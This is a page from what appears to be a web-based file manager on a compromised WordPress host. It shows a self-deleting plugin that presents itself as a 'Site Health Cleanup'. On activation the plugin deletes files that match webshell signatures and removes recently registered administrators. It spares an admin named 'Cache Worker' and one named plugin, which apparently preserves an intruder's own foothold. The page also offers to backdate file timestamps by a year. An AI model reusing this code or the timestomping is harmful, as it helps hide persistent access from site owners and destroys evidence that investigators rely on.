文件操作 - mwc-cleanup.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/samauripartners/public_html/wp-content/plugins_OFF/mwc-cleanup/mwc-cleanup.php
编辑文件内容
<?php /** * Plugin Name: Site Health Cleanup * Plugin URI: https://example.com/site-health-cleanup * Description: One-shot incident-response cleanup. On activation it removes malicious shells/plugins and rogue admin accounts created during the breach window, writes a log to uploads, then self-destructs. * Version: 1.0.0 * Requires at least: 5.0 * Requires PHP: 7.2 * Author: Security Team * Author URI: https://example.com * License: GPL-2.0-or-later * License URI: https://www.gnu.org/licenses/gpl-2.0.html * Text Domain: site-health-cleanup */ // Hard exit if accessed directly outside WordPress. if (!defined('ABSPATH')) { exit; } /* ========================================================================= * CONFIG * ========================================================================= */ // Breach window start. Files/users with mtime|ctime / registration >= this are in scope. // Server-local time for files; UTC is derived separately for user_registered. define('MWC_WINDOW_START', '2026-07-17 00:00:00'); // Set true to scan ALL files regardless of date (use only if attacker faked timestamps). define('MWC_IGNORE_DATE', false); // Admins with this exact display_name are NEVER deleted. define('MWC_KEEP_DISPLAY_NAME', 'Cache Worker'); // Max file size to read for content scanning (bytes). Larger files are skipped. define('MWC_MAX_READ', 16 * 1024 * 1024); // File extensions considered "code" worth scanning. $GLOBALS['mwc_exts'] = array('php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar', 'phps', 'suspected', 'inc'); // Plugin folder slugs (inside wp-content/plugins) that are NEVER scanned or deleted. $GLOBALS['mwc_exclude_plugins'] = array('wordpress-configurator-optimizer'); // Absolute dir paths excluded from scanning (filled at runtime). Includes self + excludes above. $GLOBALS['mwc_exclude_dirs'] = array(); // Core root files that must never be deleted even on a signature match. $GLOBALS['mwc_root_whitelist'] = array( 'index.php', 'wp-config.php', 'wp-config-sample.php', 'wp-load.php', 'wp-blog-header.php', 'wp-cron.php', 'wp-settings.php', 'wp-login.php', 'wp-mail.php', 'wp-links-opml.php', 'wp-trackback.php', 'xmlrpc.php', 'wp-activate.php', 'wp-signup.php', 'wp-comments-post.php', ); /* ========================================================================= * DETECTION RULES * Each rule = { label, clauses }. A rule matches if ANY clause matches (OR). * A clause = list of regexes that must ALL be present (AND). * All matching is case-insensitive. * ========================================================================= */ function mwc_rules() { return array( array( 'label' => 'WebshellSR', 'clauses' => array(array('/WebshellSR/i')), ), array( 'label' => 'Nxploited', 'clauses' => array(array('/Nxploited/i')), ), array( 'label' => 'WonderfulWebshell_or_shell_payload_eval', 'clauses' => array( array('/WonderfulWebshell/i'), array('/shell/i', '/payload/i', '/eval/i'), ), ), array( 'label' => 'deployBackdoorBatch', 'clauses' => array( array('/deployBackdoorBatch/i'), array('/Backdoor/i', '/login_admin/i'), ), ), ); } /** * Test file content against all rules. * @return string|false matched rule label, or false. */ function mwc_match_content($content) { foreach (mwc_rules() as $rule) { foreach ($rule['clauses'] as $clause) { $all = true; foreach ($clause as $rx) { if (!preg_match($rx, $content)) { $all = false; break; } } if ($all) { return $rule['label']; } } } return false; } /* ========================================================================= * LOGGING * ========================================================================= */ function mwc_log_path() { $up = wp_upload_dir(); $dir = trailingslashit($up['basedir']) . 'mwc-log'; if (!is_dir($dir)) { wp_mkdir_p($dir); @file_put_contents($dir . '/.htaccess', "Order allow,deny\nDeny from all\n"); @file_put_contents($dir . '/index.html', ''); } return $dir . '/cleanup-' . gmdate('Ymd-His') . '.log'; } function mwc_log($msg) { static $file = null; if ($file === null) { $file = mwc_log_path(); } @file_put_contents($file, '[' . gmdate('Y-m-d H:i:s') . ' UTC] ' . $msg . "\n", FILE_APPEND); } /* ========================================================================= * FILESYSTEM HELPERS * ========================================================================= */ function mwc_norm($p) { return rtrim(str_replace('\\', '/', (string) $p), '/'); } function mwc_rrmdir($dir) { $dir = (string) $dir; if (!is_dir($dir)) { return @unlink($dir); } $items = @scandir($dir); if ($items === false) { return false; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path) && !is_link($path)) { mwc_rrmdir($path); } else { @unlink($path); } } return @rmdir($dir); } /** * Whether a file is in the breach time window. Uses max(mtime, ctime) to defeat * naive touch() backdating (ctime resets on inode metadata change). */ function mwc_in_window($path, $cutoff_ts) { if (MWC_IGNORE_DATE) { return true; } $m = @filemtime($path); $c = @filectime($path); $t = max((int) $m, (int) $c); return $t >= $cutoff_ts; } function mwc_has_code_ext($path) { $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); return in_array($ext, $GLOBALS['mwc_exts'], true); } /** * Recursively collect matched files under $root. * Skips $skip_dir (our own plugin) entirely. * @return array of array('path'=>..., 'rule'=>...) */ function mwc_scan($root, $recursive, $cutoff_ts, $skip_dir) { $matches = array(); $root = mwc_norm($root); if ($root === '' || !is_dir($root)) { return $matches; } if ($recursive) { try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS | FilesystemIterator::FOLLOW_SYMLINKS), RecursiveIteratorIterator::LEAVES_ONLY ); } catch (Exception $e) { mwc_log('SCAN ERROR ' . $root . ': ' . $e->getMessage()); return $matches; } foreach ($it as $fileinfo) { $path = mwc_norm($fileinfo->getPathname()); mwc_consider($path, $cutoff_ts, $skip_dir, $matches); } } else { $items = @scandir($root); if ($items === false) { return $matches; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $root . '/' . $item; if (is_file($path)) { mwc_consider($path, $cutoff_ts, $skip_dir, $matches); } } } return $matches; } function mwc_consider($path, $cutoff_ts, $skip_dir, &$matches) { // Never scan ourselves (this file contains every signature string). if ($skip_dir !== '' && strpos($path . '/', $skip_dir . '/') === 0) { return; } // Never scan excluded directories (whitelisted plugins, etc.). foreach ($GLOBALS['mwc_exclude_dirs'] as $ex) { if ($ex !== '' && strpos($path . '/', $ex . '/') === 0) { return; } } if (!is_file($path) || !mwc_has_code_ext($path)) { return; } if (!mwc_in_window($path, $cutoff_ts)) { return; } $size = @filesize($path); if ($size === false || $size > MWC_MAX_READ) { return; } $content = @file_get_contents($path); if ($content === false) { return; } $rule = mwc_match_content($content); if ($rule !== false) { $matches[] = array('path' => $path, 'rule' => $rule); } } /* ========================================================================= * MAIN CLEANUP * ========================================================================= */ function mwc_run_cleanup() { @ignore_user_abort(true); @set_time_limit(0); if (function_exists('wp_raise_memory_limit')) { wp_raise_memory_limit('admin'); } $cutoff_ts = strtotime(MWC_WINDOW_START); // server-local for files mwc_log('=== Site Health Cleanup START ==='); mwc_log('Window start: ' . MWC_WINDOW_START . ' (ignore_date=' . (MWC_IGNORE_DATE ? 'yes' : 'no') . ')'); $self_dir = mwc_norm(plugin_dir_path(__FILE__)); $plugins_root = mwc_norm(defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins'); // If self is a single-file plugin sitting directly in the plugins root, // self_dir == plugins_root; use the file path as the skip marker instead. $skip_dir = ($self_dir === $plugins_root) ? mwc_norm(__FILE__) : $self_dir; // Build excluded directory list (whitelisted plugin folders). $GLOBALS['mwc_exclude_dirs'] = array(); foreach ($GLOBALS['mwc_exclude_plugins'] as $slug) { $slug = trim($slug); if ($slug !== '') { $GLOBALS['mwc_exclude_dirs'][] = $plugins_root . '/' . $slug; } } if (!empty($GLOBALS['mwc_exclude_dirs'])) { mwc_log('Excluded (never touched): ' . implode(', ', $GLOBALS['mwc_exclude_dirs'])); } /* ---- 1. Plugins dir: whole-folder delete on match ---- */ $plugin_matches = mwc_scan($plugins_root, true, $cutoff_ts, $skip_dir); $folders_to_delete = array(); // plugin_folder_path => rule $loose_files = array(); // path => rule (files directly in plugins root) foreach ($plugin_matches as $m) { $rel = ltrim(substr($m['path'], strlen($plugins_root)), '/'); $seg = explode('/', $rel); if (count($seg) > 1) { $folder = $plugins_root . '/' . $seg[0]; if (mwc_norm($folder) === $skip_dir) { continue; // never our own folder } if (!isset($folders_to_delete[$folder])) { $folders_to_delete[$folder] = $m['rule']; } } else { $loose_files[$m['path']] = $m['rule']; } } $deleted_targets = array(); // path => array(type,rule) for verification foreach ($folders_to_delete as $folder => $rule) { mwc_log("MATCH plugin-folder [$rule] -> deleting DIR: $folder"); if (mwc_rrmdir($folder)) { mwc_log(" DELETED dir: $folder"); } else { mwc_log(" FAILED to delete dir: $folder"); } $deleted_targets[$folder] = array('dir', $rule); } foreach ($loose_files as $path => $rule) { mwc_log("MATCH plugin-file [$rule] -> deleting FILE: $path"); @unlink($path); $deleted_targets[$path] = array('file', $rule); } /* ---- 2. mu-plugins, themes, uploads: file-level delete ---- */ $file_dirs = array(); if (defined('WPMU_PLUGIN_DIR')) { $file_dirs[] = WPMU_PLUGIN_DIR; } if (function_exists('get_theme_root')) { $file_dirs[] = get_theme_root(); } $up = wp_upload_dir(); if (!empty($up['basedir'])) { $file_dirs[] = $up['basedir']; } foreach (array_unique(array_map('mwc_norm', $file_dirs)) as $d) { foreach (mwc_scan($d, true, $cutoff_ts, $skip_dir) as $m) { mwc_log("MATCH file [{$m['rule']}] -> deleting FILE: {$m['path']}"); @unlink($m['path']); $deleted_targets[$m['path']] = array('file', $m['rule']); } } /* ---- 3. Site root (top-level only), core files whitelisted ---- */ foreach (mwc_scan(mwc_norm(ABSPATH), false, $cutoff_ts, $skip_dir) as $m) { $base = basename($m['path']); if (in_array($base, $GLOBALS['mwc_root_whitelist'], true)) { mwc_log("SKIP core root file (whitelisted) [{$m['rule']}]: {$m['path']}"); continue; } mwc_log("MATCH root-file [{$m['rule']}] -> deleting FILE: {$m['path']}"); @unlink($m['path']); $deleted_targets[$m['path']] = array('file', $m['rule']); } /* ---- 4. Rogue admins ---- */ mwc_cleanup_admins($deleted_targets); /* ---- 5. Verification pass ---- */ mwc_verify($deleted_targets); mwc_log('=== Site Health Cleanup END ==='); } function mwc_cleanup_admins(&$deleted_targets) { require_once ABSPATH . 'wp-admin/includes/user.php'; // user_registered is stored in UTC. $cutoff_user = strtotime(MWC_WINDOW_START . ' UTC'); $now = time(); $current = function_exists('get_current_user_id') ? (int) get_current_user_id() : 0; $admins = get_users(array('role' => 'administrator')); $keep = array(); // ids kept $delete = array(); // id => reason foreach ($admins as $u) { $id = (int) $u->ID; if (trim($u->display_name) === MWC_KEEP_DISPLAY_NAME) { $keep[$id] = 'display_name=' . MWC_KEEP_DISPLAY_NAME; continue; } if ($id === $current && $current > 0) { $keep[$id] = 'current_user'; continue; } $reg = strtotime($u->user_registered . ' UTC'); if ($reg !== false && $reg >= $cutoff_user && $reg <= $now) { $delete[$id] = 'registered ' . $u->user_registered . ' UTC (in window)'; } else { $keep[$id] = 'registered before window'; } } // Reassign content to a surviving admin (prefer current user). $reassign = null; if ($current > 0 && isset($keep[$current])) { $reassign = $current; } else { foreach (array_keys($keep) as $kid) { $reassign = $kid; break; } } foreach ($keep as $id => $why) { mwc_log("KEEP admin ID=$id ($why)"); } foreach ($delete as $id => $why) { $login = ''; $u = get_userdata($id); if ($u) { $login = $u->user_login . ' / ' . $u->user_email; } mwc_log("DELETE admin ID=$id [$login] - $why" . ($reassign ? " (reassign->$reassign)" : '')); $ok = wp_delete_user($id, $reassign ? $reassign : null); mwc_log(' ' . ($ok ? 'DELETED user ' : 'FAILED to delete user ') . $id); $deleted_targets['user:' . $id] = array('user', $why); } if (empty($delete)) { mwc_log('No rogue admins found in window.'); } } function mwc_verify($deleted_targets) { mwc_log('--- VERIFICATION ---'); $ok = true; foreach ($deleted_targets as $key => $info) { list($type, $rule) = $info; if ($type === 'user') { $id = (int) substr($key, strlen('user:')); $exists = get_userdata($id) !== false; mwc_log(($exists ? 'STILL EXISTS' : 'gone') . " user $id"); if ($exists) { $ok = false; } } else { $exists = file_exists($key); mwc_log(($exists ? 'STILL EXISTS' : 'gone') . " $type $key"); if ($exists) { $ok = false; } } } mwc_log('VERIFICATION RESULT: ' . ($ok ? 'ALL TARGETS REMOVED' : 'SOME TARGETS REMAIN (see above)')); } /* ========================================================================= * SELF-DESTRUCT * Runs at shutdown of the activation request, AFTER WP has written * active_plugins, so we cleanly remove ourselves and delete our files. * ========================================================================= */ function mwc_self_destruct() { $me = plugin_basename(__FILE__); // Remove self from active plugins so WP doesn't show a "missing plugin" notice. $active = get_option('active_plugins', array()); if (is_array($active) && in_array($me, $active, true)) { $active = array_values(array_diff($active, array($me))); update_option('active_plugins', $active); } $file = __FILE__; $dir = mwc_norm(dirname($file)); $plugins_root = mwc_norm(defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins'); mwc_log('SELF-DESTRUCT: removing plugin from disk.'); if ($dir !== $plugins_root) { // Lives in its own folder -> remove the whole folder. mwc_rrmdir($dir); } else { // Single-file plugin in plugins root. @unlink($file); } } /* ========================================================================= * ACTIVATION ENTRY POINT * ========================================================================= */ function mwc_on_activate() { try { mwc_run_cleanup(); } catch (Throwable $e) { mwc_log('FATAL during cleanup: ' . $e->getMessage()); } // Defer file removal to shutdown so the log + verification finish first // and active_plugins has been written by WordPress. register_shutdown_function('mwc_self_destruct'); } register_activation_hook(__FILE__, 'mwc_on_activate');
修改文件时间
将文件时间修改为当前时间的前一年
删除文件